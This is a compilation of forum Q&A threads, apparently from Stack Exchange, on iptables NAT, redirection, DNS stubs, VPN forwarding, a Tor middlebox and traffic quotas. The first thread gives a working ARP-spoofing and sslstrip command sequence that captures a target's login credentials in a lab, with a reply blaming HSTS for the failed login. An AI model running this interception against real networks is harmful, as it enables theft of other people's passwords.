I'm analysing the traffic on my Virtual Lab, using arpspoof/sslstrip.
I'm using the following script
iptables -A INPUT -i eth1 -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -i eth1 -p tcp --dport 8080 -j ACCEPT
iptables -A PREROUTING -t nat -i eth1 -p tcp --dport 80 -j REDIRECT --to-port 8080
echo '1' > /proc/sys/net/ipv4/ip_forward
-- 10.10.10.2 Target
-- 10.10.10.1 Router
arpspoof -i eth1 -t 10.10.10.2 10.10.10.1
arpspoof -i eth1 -t 10.10.10.1 10.10.10.2
sslstrip -l 8080
This work partially since I can get the info in the sslstrip.log file just fine.
The problem is that the PC target (Win7 64 Bit IE 11) is unable to successfully complete the login process.
What happens is:
On the target PC I write https://hotmail.com.ar
It's get redirected to http://hotmail.com.ar
I type usser & passdord
The info is correctly save in sslstrip.log
BUT after confirm, the browser reload the page without actually login in
What seems to be the problem ?
Thanks
I know the question is older than two years and you have probably found a solution. I tried the same scenario for a research on Hotmail and come to the same problem.
I think the answer for this problem is that Hotmail is using for the authentication the HTTP Strict Transport Security (HSTS), that allows the server only to connect with HTTPS-connections. Uncertain I do not know why Hotmail is not using the HSTS for the inputs of the username and password and only for the authentication.
I hope I could help you
Related
I am confused about situation in my NATed network. I start dnsmasq on router, with listen-address=192.168.100.1 and -p 5353 option for DNS port. Afterwards, i add iptables rule for hosts inside that network:
iptables -t nat -I PREROUTING -s 192.168.100.0/24 \
-d 192.168.100.1 -p udp --dport 53 -j REDIRECT --to-ports 5353
But this didn't work first time, since my INPUT policy is DROP: when i add this rule, everything starts to work:
iptables -I INPUT -p udp --dport 53 -d 127.0.0.53 -j ACCEPT
I discovered this address with help of -j LOG on my INPUT chain, where i saw packets dropped like SRC=127.0.0.1 DST=127.0.0.53 ..., when NATed host is trying to resolve hostname.
As i am writing automated script that generates correct netfilter rules for situation, i need to know from where this 127.0.0.53 could come from.
I see the same address in /etc/resolv.conf. But i don't understand who's routing this packet to this address when it is "redirected", if even close to understanding what happens.
systemd-resolved sets up a stub listener for dns requests locally on 127.0.0.53:53
try disabling it to proceed sudo systemctl disable systemd-resolved
I need to redirect particular outgoing connections (from any web-client on my system) to particular IP. Yes, it can be done by adding this line in /etc/hosts file:
123.456.789.012 www.mydomain.com
Is it possible to do such a redirection without editing of /etc/hosts? In fact, I need this redirection temporarily. Moreover, I cannot modify any configuration files on my system, so I should do such a redirection only via some utils in the command line. I've read about tsocks, but it can redirect outgoing connections to SOCKS server only from the particular application, not from any application.
So, is it possible?
Ok, I found a solution. We can use iptables for it. This rule redirects all outgoing requests via 80 port to 0.0.0.0:3010:
$ sudo iptables -t nat -A OUTPUT -p tcp --dport 80 -j DNAT --to-destination 0.0.0.0:3010
To delete this rule, just replace -A to -D:
$ sudo iptables -t nat -D OUTPUT -p tcp --dport 80 -j DNAT --to-destination 0.0.0.0:3010
If we want to redirect only particular requests via 80 port, we can use this command:
$ sudo iptables -t nat -A OUTPUT -p tcp -d google.com --dport 80 -j DNAT --to-destination 0.0.0.0:3010
In this case only requests to google.com will be redirected to 0.0.0.0:3010.
I'm conecting to a VPN in Windows to access a remote computer (Linux) with a static IP. From this remote computer I have access to different machines (database, svn, etc.).
I am trying to set up my remote computer to have access from my Windows machine to the database, the svn server, etc, because working on a remote connection is very slow.
So I tried the next lines in /etc/rc.local, but it doesn't work:
/sbin/iptables -P FORWARD ACCEPT
/sbin/iptables --table nat -A POSTROUTING -o eth0 -j MASQUERADE
/sbin/iptables -t nat -A PREROUTING -i eth0 -p tcp -d B1.B2.B3.B4 --dport 89 -j DNAT --to R1.R2.R3.R4:89
/sbin/iptables -A FORWARD -p tcp -d R1.R2.R3.R4 --dport 89 -j ACCEPT
Where B1.B2.B3.B4 is my remote database IP, 89 is the port we use to access the database, and R1.R2.R3.R4 is my remote machine IP.
What is wrong in this configuration?
Thanks.
Make sure ip_forward is enabled:
echo 1 > /proc/sys/net/ipv4/ip_forward
Also, you need to make sure the VPN pushes routes for B1.B2.B3.B4 to your Windows machine when connecting; if not, you'll have to add the routes yourself.
I think the MASQUERADE rule should be enough, but write it like this:
iptables -t nat -A POSTROUTING -s WINDOWS_BOX_VPN_IP -j MASQUERADE
But if you don't want to mess with iptables, you can use SSH to setup tunnels to your remote services, for example (you need some Windows SSH client that can create tunnels, I'm giving an example how to run this from a linux box):
ssh user#R1.R2.R3.R4 -L 8989:B1.B2.B3.B4:89
This will create a tunnel on localhost:8989 which will forward the connection to B1.B2.B3.B4:89 (look for "Local port forwarding", http://chamibuddhika.wordpress.com/2012/03/21/ssh-tunnelling-explained/ )
At the end I found Rinetd that allows TCP redirections with an easy configuration.
According to my question, the configuration I had to add in /etc/rinetd.conf is:
R1.R2.R3.R4 89 B1.B2.B3.B4 89
Then I run Rinetd:
/usr/sbin/rinetd
And that's all.
If you want to run it automatically everytime you restart your computer, you can add the command before in the file /etc/rc.local
i REALLY need some help before my laptop goes through the wall.
I want to run a virtual machine through tor middlebox. I want the entire VM`s connection to go through the tor network. (Im wanting to setup my hidden service and for my needs this will work best)
I started by looking here - http://www.howtoforge.com/how-to-set-up-a-tor-middlebox-routing-all-virtualbox-virtual-machine-traffic-over-the-tor-network
I know this is old but i figured i`d give it a go anyway.
For reference my Host machine is running Ubuntu 13.04 and the VM will be running 12.04LTS. On virtualbox
Well i have tor installed as per the guide, i have gone though the setup steps. But it didnt work. My VM will not connect to the net. I checked ifconfig and i am recieving an ip address, but i cant get a connection to the web to check i am running through tor.
I`ve spent a good few hours on this but i cant get it working, im just at point and click mode now. Looked at so many sites, and almost all of them point back to the original. I have tried tweaking the settings, and looked at numerous forums. But i cant get this working.
If i try using the tor browser bundle, it refuses to start tor, stating the it hasn`t got permission or cant listen on 172.16.0.1:53. tried using vidalia bundle for the tor install but that refuses to find the tor exec (not really an issue)
Here are the settings i am trying to run with...
/etc/network/interfaces
as stated in guide
/etc/dnsmasq.conf
interface=vnet0
listen-address=192.168.1.1
dhcp-range=172.16.0.2,172.16.0.254,1h
/etc/tor/torrc
VirtualAddrNetwork 10.192.0.0/10
AutomapHostsOnResolve 1
TransPort 9040
TransListenAddress 172.16.0.1
TransListenAddress 192.168.1.1
DNSPort 53
DNSListenAddress 172.16.0.1
DNSListenAddress 192.168.1.1
middlebox.sh
#!/bin/sh
# destinations you don't want routed through Tor
NON_TOR="192.168.1.0/24 192.168.0.0/24"
# the UID Tor runs as
TOR_UID="109"
# Tor's TransPort
TRANS_PORT="9040"
# your internal interface
INT_IF="vnet0"
iptables -F
iptables -t nat -F
iptables -t nat -A OUTPUT -o lo -j RETURN
iptables -t nat -A OUTPUT -m owner --uid-owner $TOR_UID -j RETURN
iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 53
for NET in $NON_TOR; do
iptables -t nat -A OUTPUT -d $NET -j RETURN
iptables -t nat -A PREROUTING -i $INT_IF -d $NET -j RETURN
done
iptables -t nat -A OUTPUT -p tcp --syn -j REDIRECT --to-ports $TRANS_PORT
iptables -t nat -A PREROUTING -i $INT_IF -p udp --dport 53 -j REDIRECT --to-ports 53
iptables -A FORWARD -i $INT_IF -p udp -j DROP
iptables -t nat -A PREROUTING -i $INT_IF -p tcp --syn -j REDIRECT --to-ports $TRANS_PORT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
for NET in $NON_TOR 127.0.0.0/8; do
iptables -A OUTPUT -d $NET -j ACCEPT
done
iptables -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT
iptables -A OUTPUT -j REJECT
Does this article help you? http://www.mike-warren.com/articles/routing-vm-traffic-through-tor.html
The short version is:
host runs a tun/tap device
host runs a VDE switch (which puts packets from the VM into the tap device)
host has iptables NAT rules to shovel tap device traffic into Tor
host runs Tor as transparent proxy
VM has static IP, connected to VDE switch
Instead of all that, you could run TAILS instead. https://tails.boum.org/
Consider running tails as vm guest.
Use a vm snapshot to avoid booting from tails live dvd (iso)
Im writing a bash scripting to account traffic in my network server:
WAN:eth1 -> GNU/Linux Server:eth0 -> Users
The GNU/Linux server uses squid, bind, QoS, mysql, lighttpd.
After an IP exceed the established quota a new QoS rule is applied for that IP (user) too exist one "flag" to decide when is restored the IP counter to Zero.
Some IPs and subnets work without quotas, other gruop of ips/subnets work with new QoS after quota is exceeded, and now I wanna work with a third group with redirection after quota is exceeded.
When an IP exceed the established quota all http traffic must be redirected to host (lighttpd runing on GNU/Linux ) and DROP all other traffic generated for that IP. In webserver exist a webpage with: "You exceed your daily quote of traffic, please wait "x" hours or call to your provider to purchase an extra navigation package" or something like that.
Is possible using a chain, or how can I do that?.
The most topics that I found in Internet, are related to block all and create a new chain to let out to Internet (not work for me). And other redirect only IP by IP, but how can I create something that a "chain" and attach the IPs to must me redirected to can after restore that IPs easly?
Thanks for help and sorry for my poor English :S.
Are you looking for something like this?
iptables -t nat -A PREROUTING -s 192.168.100.66 -p tcp --dport 80 -j REDIRECT --to-ports 80
iptables -I INPUT 1 -i lo -s 192.168.100.66 -j ACCEPT
iptables -I INPUT 2 -i eth1 -d 192.168.100.66 -j DROP
This will redirect packets from 192.168.100.66 on port 80 to the local webserver on the loopback interface, allow that conversation, then reject all other packets being routed to 192.168.100.66 on the WAN interface.
To restore the connection back to normal you will want to delete those firewall entries:
iptables -t nat -D PREROUTING -s 192.168.100.66 -p tcp --dport 80 -j REDIRECT --to-ports 80
iptables -D INPUT -i lo -s 192.168.100.66 -j ACCEPT
iptables -D INPUT -i eth1 -d 192.168.100.66 -j DROP
Note that iptables itself (well, the xtables-addons extension set providing quota2) can already do the quota matching magic and you can (re)set the values through procfs, combined with REDIRECT as #resmon6 says:
-t nat -s user1addr -m quota2 --name user1 ! --quota 0 -j REDIRECT...
-t nat -s user2addr -m quota2 --name user2 ! --quota 0 -j REDIRECT...
The syntax is a arguably a little odd right now (0 is the initial value only and is independent from the runtime quota test involving the negational !. Noticing this just now, a patch may make it in to unroll this confusing syntax in the future).